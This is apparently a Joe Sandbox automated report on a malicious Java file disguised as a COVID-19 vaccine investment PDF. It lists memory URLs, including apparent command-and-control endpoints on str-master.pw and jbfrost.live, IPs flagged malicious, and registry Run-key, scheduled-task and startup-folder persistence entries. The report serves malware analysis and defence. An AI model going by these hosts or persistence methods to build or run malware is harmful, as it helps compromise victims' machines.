0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.apache.org/licenses/LICENSE-2.0.txt java.exe, 0000000D.00000003.24
8758362.0000000015676000.00000
004.00000001.sdmp, java.exe, 0
0000010.00000003.277137784.000
0000014FD2000.00000004.0000000
1.sdmp

false high

Domains and IPs

Contacted Domains

URLs from Memory and Binaries
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www.apache.org/licenses/ javaw.exe, 0000000B.00000002.2
40871910.000000000A2CE000.0000
0004.00000001.sdmp

false high

www.certplus.com/CRL/class2.crl java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

bugreport.sun.com/bugreport/ java.exe, 0000000D.00000002.25
2198805.0000000005052000.00000
004.00000001.sdmp, java.exe, 0
0000010.00000002.520685745.000
0000009F96000.00000004.0000000
1.sdmp

false Avira URL Cloud: safe unknown

cps.chambersign.org/cps/chambersroot.html0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

java.oracle.com/ java.exe, 00000006.00000002.20
7053367.0000000004800000.00000
004.00000001.sdmp, javaw.exe, 
0000000B.00000002.238616990.00
00000009FA2000.00000004.000000
01.sdmp, java.exe, 0000000D.00
000002.253246566.000000000A5A2
000.00000004.00000001.sdmp, ja
va.exe, 00000010.00000002.5207
49260.0000000009FA0000.0000000
4.00000001.sdmp

false high

null.oracle.com/ javaw.exe, 0000000B.00000003.2
28995438.00000000150EA000.0000
0004.00000001.sdmp, javaw.exe, 
0000000B.00000002.239181413.0
00000000A03C000.00000004.00000
001.sdmp, java.exe, 0000000D.0
0000003.248758362.000000001567
6000.00000004.00000001.sdmp, j
ava.exe, 0000000D.00000002.253
348649.000000000A630000.000000
04.00000001.sdmp, java.exe, 00
000010.00000003.277137784.0000
000014FD2000.00000004.00000001
.sdmp, java.exe, 00000010.0000
0002.521112026.000000000A02F00
0.00000004.00000001.sdmp

false high

www.chambersign.org1 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://github-
releases.githubusercontent.com/51361554/623ef000-9da4-
11e9-9ea2-d90155318994?X-Amz-Al

javaw.exe, 0000000B.00000002.2
40730122.000000000A276000.0000
0004.00000001.sdmp, javaw.exe, 
0000000B.00000002.238157882.0
000000004EA7000.00000004.00000
001.sdmp, javaw.exe, 0000000B.
00000002.240964215.000000000A3
00000.00000004.00000001.sdmp, 
javaw.exe, 0000000B.00000002.2
40871910.000000000A2CE000.0000
0004.00000001.sdmp

false Avira URL Cloud: safe unknown

str-master.pw/strigoi/server/ping.php java.exe, 00000010.00000002.51
7809140.0000000004DC1000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

repository.swisssign.com/0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-
5.5.0.jar

javaw.exe, 0000000B.00000002.2
38456779.0000000009F50000.0000
0004.00000001.sdmp, javaw.exe, 
0000000B.00000002.238481797.0
000000009F6E000.00000004.00000
001.sdmp, java.exe, 0000000D.0
0000002.253150120.000000000A55
0000.00000004.00000001.sdmp, j
ava.exe, 00000010.00000002.520
395442.0000000009F50000.000000
04.00000001.sdmp

false high

jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5 java.exe, 00000010.00000002.51
5417464.0000000004BAB000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

policy.camerfirma.com java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false high

ops.com.pa/jre7.zip wscript.exe, 0000000A.00000003
.214763026.0000000004F0D000.00
000004.00000001.sdmp

false Avira URL Cloud: safe unknown

https://ocsp.quovadisoffshore.com java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://repo1.maven.org/maven2/org/xerial/sqlite-
jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jar

javaw.exe, 0000000B.00000002.2
38456779.0000000009F50000.0000
0004.00000001.sdmp, javaw.exe, 
0000000B.00000002.237181358.0
000000004A90000.00000004.00000
001.sdmp, java.exe, 0000000D.0
0000002.253150120.000000000A55
0000.00000004.00000001.sdmp, j
ava.exe, 00000010.00000002.520
395442.0000000009F50000.000000
04.00000001.sdmp

false high

crl.securetrust.com/STCA.crl0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

str-master.pw/strigoi/server/ping.php?lid= java.exe, 00000010.00000002.51
7809140.0000000004DC1000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.quovadisglobal.com/cps java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false high

cps.chambersign.org/cps/chambersroot.html java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certplus.com/CRL/class3P.crl java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.certplus.com/CRL/class3P.crl0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.securetrust.com/STCA.crl java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

str-master.pw/strigoi/server/ping.php? java.exe, 00000010.00000002.51
7894566.0000000004DCD000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

www.certplus.com/CRL/class2.crl0 javaw.exe, 0000000B.00000002.2
42664932.000000001582F000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

Name Source Malicious Antivirus Detection Reputation
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www.quovadisglobal.com/cps0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false high

crl.xrampsecurity.com/XGCA.crl0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

trustcenter-
crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl

java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.quovadis.bm javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253571843.00
0000000A727000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.quovadis.bm0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://ocsp.quovadisoffshore.com0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

www.allatori.com javaw.exe, 0000000B.00000002.2
38594494.0000000009FA0000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253231810.00
0000000A5A0000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.520726996.0000000009F9E
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

crl.chambersign.org/chambersroot.crlC5 java.exe, 0000000D.00000002.25
3093640.00000000054CE000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

str-master.pw java.exe, 00000010.00000002.51
7894566.0000000004DCD000.00000
004.00000001.sdmp

false Avira URL Cloud: safe unknown

crl.chambersign.org/chambersroot.crl java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

repository.swisssign.com/ java.exe, 00000010.00000002.52
1484537.000000000A126000.00000
004.00000001.sdmp

false high

www.chambersign.org javaw.exe, 0000000B.00000002.2
40871910.000000000A2CE000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253571843.00
0000000A727000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

https://api.github.com/_private/browser/errors javaw.exe, 0000000B.00000002.2
38157882.0000000004EA7000.0000
0004.00000001.sdmp

false high

https://github.com/kristian/system-
hook/releases/download/3.5/system-hook-3.5.jar

javaw.exe, 0000000B.00000002.2
38456779.0000000009F50000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253150120.00
0000000A550000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.520395442.0000000009F50
000.00000004.00000001.sdmp

false high

Name Source Malicious Antivirus Detection Reputation
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General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 356987

policy.camerfirma.com0 javaw.exe, 0000000B.00000002.2
39749123.000000000A126000.0000
0004.00000001.sdmp, java.exe, 
0000000D.00000002.253093640.00
000000054CE000.00000004.000000
01.sdmp, java.exe, 00000010.00
000002.521484537.000000000A126
000.00000004.00000001.sdmp

false URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

unknown

str-master.pw/strigoi/server/ping.php?lid=RUGR-ATSN-
D14P-VBXX-49LW

java.exe, 00000010.00000002.51
7894566.0000000004DCD000.00000
004.00000001.sdmp, java.exe, 0
0000010.00000002.517809140.000
0000004DC1000.00000004.0000000
1.sdmp

false Avira URL Cloud: safe unknown

Name Source Malicious Antivirus Detection Reputation

No. of IPs < 25%

25% < No. of IPs < 50%

50% < No. of IPs < 75%

75% < No. of IPs

IP Domain Country Flag ASN ASN Name Malicious

104.23.99.190 unknown United States 13335 CLOUDFLARENETUS false

23.239.31.129 unknown United States 63949 LINODE-APLinodeLLCUS true

199.232.192.209 unknown United States 54113 FASTLYUS false

185.199.108.154 unknown Netherlands 54113 FASTLYUS false

140.82.121.3 unknown United States 36459 GITHUBUS false

107.175.144.243 unknown United States 36352 AS-COLOCROSSINGUS true

IP

192.168.2.1

Contacted IPs

Public

Private
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Start date: 23.02.2021

Start time: 21:03:24

Joe Sandbox Product: CloudBasic

Overall analysis duration: 0h 14m 37s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: Covid19_Vacine_Investment_Proposals_1st_Quarter20
21 pdf.jar

Cookbook file name: defaultwindowsfilecookbook.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 
2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 
Update 211

Run name: Without Tracing

Number of analysed new started processes analysed: 40

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 0

Technologies: HCA enabled
EGA enabled
HDC enabled
AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal80.troj.expl.evad.winJAR@34/30@13/7

EGA Information: Failed

HDC Information: Failed

HCA Information: Successful, ratio: 100%
Number of executed functions: 0
Number of non-executed functions: 0

Cookbook Comments: Adjust boot time
Enable AMSI
Found application associated with file extension: 
.jar
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Warnings:
Exclude process from analysis (whitelisted): 
taskhostw.exe, BackgroundTransferHost.exe, 
backgroundTaskHost.exe, SgrmBroker.exe, 
svchost.exe
TCP Packets have been reduced to 100
Excluded IPs from analysis (whitelisted): 
104.43.193.48, 184.30.21.144, 52.255.188.83, 
13.64.90.137, 104.43.139.144, 23.210.248.85, 
51.104.139.180, 205.185.216.10, 205.185.216.42, 
20.54.26.129, 204.79.197.200, 13.107.21.200, 
92.122.213.194, 92.122.213.247
Excluded domains from analysis (whitelisted): 
arc.msn.com.nsatc.net, store-images.s-
microsoft.com-c.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net, fs-
wildcard.microsoft.com.edgekey.net.globalredir.aka
dns.net, a1449.dscg2.akamai.net, arc.msn.com, 
e12564.dspb.akamaiedge.net, 
audownload.windowsupdate.nsatc.net, 
au.download.windowsupdate.com.hwcdn.net, www-
bing-com.dual-a-0001.a-msedge.net, 
watson.telemetry.microsoft.com, img-prod-cms-rt-
microsoft-com.akamaized.net, 
prod.fs.microsoft.com.akadns.net, au-bg-
shim.trafficmanager.net, www.bing.com, 
skypedataprdcolwus17.cloudapp.net, 
fs.microsoft.com, dual-a-0001.a-msedge.net, ris-
prod.trafficmanager.net, e1723.g.akamaiedge.net, 
ctldl.windowsupdate.com, 
skypedataprdcolcus16.cloudapp.net, 
cds.d2s7q6s2.hwcdn.net, 
skypedataprdcolcus15.cloudapp.net, 
ris.api.iris.microsoft.com, 
skypedataprdcoleus17.cloudapp.net, a-0001.a-
afdentry.net.trafficmanager.net, store-images.s-
microsoft.com, 
blobcollector.events.data.trafficmanager.net
Execution Graph export aborted for target java.exe, 
PID 5544 because it is empty
Execution Graph export aborted for target java.exe, 
PID 6284 because there are no executed function
Execution Graph export aborted for target java.exe, 
PID 720 because there are no executed function
Execution Graph export aborted for target 
javaw.exe, PID 3164 because there are no 
executed function
Execution Graph export aborted for target 
javaw.exe, PID 4880 because it is empty
Execution Graph export aborted for target 
javaw.exe, PID 6568 because it is empty
Report size exceeded maximum capacity and may 
have missing behavior information.
Report size exceeded maximum capacity and may 
have missing network information.
Report size getting too big, too many 
NtAllocateVirtualMemory calls found.
Report size getting too big, too many 
NtDeviceIoControlFile calls found.
Report size getting too big, too many 
NtOpenKeyEx calls found.
Report size getting too big, too many 
NtProtectVirtualMemory calls found.
Report size getting too big, too many 
NtQueryValueKey calls found.
Report size getting too big, too many 
NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile 
calls found.
VT rate limit hit for:  
/opt/package/joesandbox/database/analysis/35698
7/sample/Covid19_Vacine_Investment_Proposals_
1st_Quarter2021 pdf.jar

Time Type Description

21:04:36 Task Scheduler Run new task: Skype path: C:\Users\user\AppData\Roaming\vmlpusjwhz.txt 

21:04:38 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz "C:\Users\user\AppData\Roaming\vm
lpusjwhz.txt"

Show All

Simulations

Behavior and APIs
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21:04:46 Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz "C:\Users\user\AppData\Roaming\vm
lpusjwhz.txt"

21:04:55 Autostart Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.8.
0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp

21:05:03 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz "C:\Users\user\AppData\Roaming\
vmlpusjwhz.txt"

21:05:11 Autostart Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.
8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp

21:05:19 Autostart Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt

21:05:33 Autostart Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.8.
0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp

Time Type Description

Match Associated Sample Name / URL SHA 256 Detection Link Context

104.23.99.190 u6Wf8vCDUv.exe Get hash malicious Browse  pastebin.
com/raw/BC
AJ8TgJ

Recept.exe Get hash malicious Browse  pastebin.
com/raw/BC
AJ8TgJ

7fYoHeaCBG.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

r0QRptqiCl.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

JDgYMW0LHW.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

kigAlmMyB1.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

5T4Ykc0VSK.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

afvhKak0Ir.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

1KITgJnGbI.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

DovV3LuJ6I.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

66f8F6WvC1.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

PxwWcmbMC5.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

XnAJZR4NcN.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

uqXsQvWMnL.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

I8r7e1pqac.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

VrR9J0FnSG.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

dEpoPWHmoI.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

zZp3oXclum.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

Joe Sandbox View / Context

IPs
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https://view.joesandbox.com/analysis/261985/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261985/html/none?idtype=webid
https://view.joesandbox.com/analysis/261543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261543/html/none?idtype=webid
https://view.joesandbox.com/analysis/236403/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236403/html/none?idtype=webid
https://view.joesandbox.com/analysis/236087/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/236087/html/none?idtype=webid
https://view.joesandbox.com/analysis/235817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235817/html/none?idtype=webid
https://view.joesandbox.com/analysis/235774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235774/html/none?idtype=webid
https://view.joesandbox.com/analysis/235759/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235759/html/none?idtype=webid
https://view.joesandbox.com/analysis/235730/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235730/html/none?idtype=webid
https://view.joesandbox.com/analysis/235682/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235682/html/none?idtype=webid
https://view.joesandbox.com/analysis/235659/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235659/html/none?idtype=webid
https://view.joesandbox.com/analysis/235622/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235622/html/none?idtype=webid
https://view.joesandbox.com/analysis/235565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235565/html/none?idtype=webid
https://view.joesandbox.com/analysis/235563/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235563/html/none?idtype=webid
https://view.joesandbox.com/analysis/235433/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235433/html/none?idtype=webid
https://view.joesandbox.com/analysis/235420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235420/html/none?idtype=webid
https://view.joesandbox.com/analysis/235340/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235340/html/none?idtype=webid
https://view.joesandbox.com/analysis/235268/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235268/html/none?idtype=webid
https://view.joesandbox.com/analysis/235199/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235199/html/none?idtype=webid


aTZQZVVriQ.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

U23peRXm5Z.exe Get hash malicious Browse  pastebin.
com/raw/XM
KKNkb0

23.239.31.129 Covid19_Vacine_Investment_Proposals_1st_Quarter2021 
pdf.jar

Get hash malicious Browse

Invoice467972.jar Get hash malicious Browse

Invoice467972.jar Get hash malicious Browse

MT0128.jar Get hash malicious Browse

MT0128.jar Get hash malicious Browse

PO348578.jar Get hash malicious Browse

ShippingDoc.jar Get hash malicious Browse

02_extracted.jar Get hash malicious Browse

https://protect-
eu.mimecast.com/s/HPS1C6XWNSMg8gQup-dAS?
domain=linkbuildingseohub.com/

Get hash malicious Browse

ntfsmgr.jar Get hash malicious Browse

Specification-037-31-08.jar Get hash malicious Browse

04_extracted.jar Get hash malicious Browse

Order Quotation ....jar Get hash malicious Browse

tsts11.jar Get hash malicious Browse

Spec#-0537354-17-08.jar Get hash malicious Browse

Spec-10-8-20.jar Get hash malicious Browse

Payment Advice.jar Get hash malicious Browse

https://1drv.ms/u/s!AjkNQ7L0-
bMSkmSt07fhRYHCFhZm?e=136OWp

Get hash malicious Browse

SCANPAGO.jar Get hash malicious Browse

Naukri Alert Mailer.jar Get hash malicious Browse

Match Associated Sample Name / URL SHA 256 Detection Link Context

Match Associated Sample Name / URL SHA 256 Detection Link Context

github.com Covid19_Vacine_Investment_Proposals_1st_Quarter2021 
pdf.jar

Get hash malicious Browse 140.82.121.3

TxvR Order.exe Get hash malicious Browse 140.82.121.4

5293ea9467ea45e928620a5ed74440f5.exe Get hash malicious Browse 140.82.121.4

Unterlagen PDF.exe Get hash malicious Browse 140.82.121.3

rufus-3.13.exe Get hash malicious Browse 140.82.121.4

f1a14e6352036833f1c109e1bb2934f2.exe Get hash malicious Browse 140.82.121.4

d88e07467ddcf9e3b19fa972b9f000d1.exe Get hash malicious Browse 140.82.121.3

Invoice467972.jar Get hash malicious Browse 140.82.121.4

Invoice467972.jar Get hash malicious Browse 140.82.121.4

password.doc Get hash malicious Browse 140.82.121.4

password.doc Get hash malicious Browse 140.82.121.3

Pastebin.docm Get hash malicious Browse 140.82.121.4

password.doc Get hash malicious Browse 140.82.121.4

Pastebin.docm Get hash malicious Browse 140.82.121.4

Pastebin.docm Get hash malicious Browse 140.82.121.3

index_2021-02-18-00_38.exe Get hash malicious Browse 140.82.121.3

571e42f6394e3fe9d63239315df13631.exe Get hash malicious Browse 140.82.121.4

executable.908.exe Get hash malicious Browse 140.82.121.4

executable.908.exe Get hash malicious Browse 140.82.121.4

executable.908.exe Get hash malicious Browse 140.82.121.3

sonatype.map.fastly.net Covid19_Vacine_Investment_Proposals_1st_Quarter2021 
pdf.jar

Get hash malicious Browse 199.232.19
2.209

Invoice467972.jar Get hash malicious Browse 199.232.19
2.209

Invoice467972.jar Get hash malicious Browse 199.232.19
2.209

MT0128.jar Get hash malicious Browse 199.232.19
2.209

MT0128.jar Get hash malicious Browse 199.232.19
2.209

PO348578.jar Get hash malicious Browse 199.232.19
2.209

Domains

Copyright null 2021 Page 20 of 706

https://view.joesandbox.com/analysis/235193/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235193/html/none?idtype=webid
https://view.joesandbox.com/analysis/235184/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235184/html/none?idtype=webid
https://view.joesandbox.com/analysis/267589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267589/html/none?idtype=webid
https://view.joesandbox.com/analysis/266257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266257/html/none?idtype=webid
https://view.joesandbox.com/analysis/266253/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266253/html/none?idtype=webid
https://view.joesandbox.com/analysis/265304/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265304/html/none?idtype=webid
https://view.joesandbox.com/analysis/265288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265288/html/none?idtype=webid
https://view.joesandbox.com/analysis/242584/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/242584/html/none?idtype=webid
https://view.joesandbox.com/analysis/238113/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238113/html/none?idtype=webid
https://view.joesandbox.com/analysis/228489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/228489/html/none?idtype=webid
https://view.joesandbox.com/analysis/214931/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214931/html/none?idtype=webid
https://view.joesandbox.com/analysis/212997/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/212997/html/none?idtype=webid
https://view.joesandbox.com/analysis/203376/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203376/html/none?idtype=webid
https://view.joesandbox.com/analysis/203246/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/203246/html/none?idtype=webid
https://view.joesandbox.com/analysis/194871/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/194871/html/none?idtype=webid
https://view.joesandbox.com/analysis/193500/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/193500/html/none?idtype=webid
https://view.joesandbox.com/analysis/192329/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/192329/html/none?idtype=webid
https://view.joesandbox.com/analysis/184520/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184520/html/none?idtype=webid
https://view.joesandbox.com/analysis/184051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/184051/html/none?idtype=webid
https://view.joesandbox.com/analysis/183450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/183450/html/none?idtype=webid
https://view.joesandbox.com/analysis/181289/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/181289/html/none?idtype=webid
https://view.joesandbox.com/analysis/181085/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/181085/html/none?idtype=webid
https://view.joesandbox.com/analysis/267589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267589/html/none?idtype=webid
https://view.joesandbox.com/analysis/267197/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/267197/html/none?idtype=webid
https://view.joesandbox.com/analysis/266681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266681/html/none?idtype=webid
https://view.joesandbox.com/analysis/266669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266669/html/none?idtype=webid
https://view.joesandbox.com/analysis/266651/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266651/html/none?idtype=webid
https://view.joesandbox.com/analysis/266625/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266625/html/none?idtype=webid
https://view.joesandbox.com/analysis/266316/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266316/html/none?idtype=webid
https://view.joesandbox.com/analysis/266257/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266257/html/none?idtype=webid
https://view.joesandbox.com/analysis/266253/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/266253/html/none?idtype=webid
https://view.joesandbox.com/analysis/265977/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265977/html/none?idtype=webid
https://view.joesandbox.com/analysis/265973/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265973/html/none?idtype=webid
https://view.joesandbox.com/analysis/265972/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265972/html/none?idtype=webid
https://view.joesandbox.com/analysis/265966/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265966/html/none?idtype=webid
https://view.joesandbox.com/analysis/265963/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265963/html/none?idtype=webid
https://view.joesandbox.com/analysis/265952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265952/html/none?idtype=webid
https://view.joesandbox.com/analysis/265695/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265695/html/none?idtype=webid
https://view.joesandbox.com/analysis/265560/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265560/html/none?idtype=webid
https://view.joesandbox.com/analysis/265541/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265541/html/none?idtype=webid
https://view.joesandbox.com/analysis/265536/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265536/html/none?idtype=webid
https://view.joesandbox.com/analysis/265535/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265535/html/none?idtype=webid
https://view.joesandbox.com/analysis/267589/html/none?idtype=webid#static
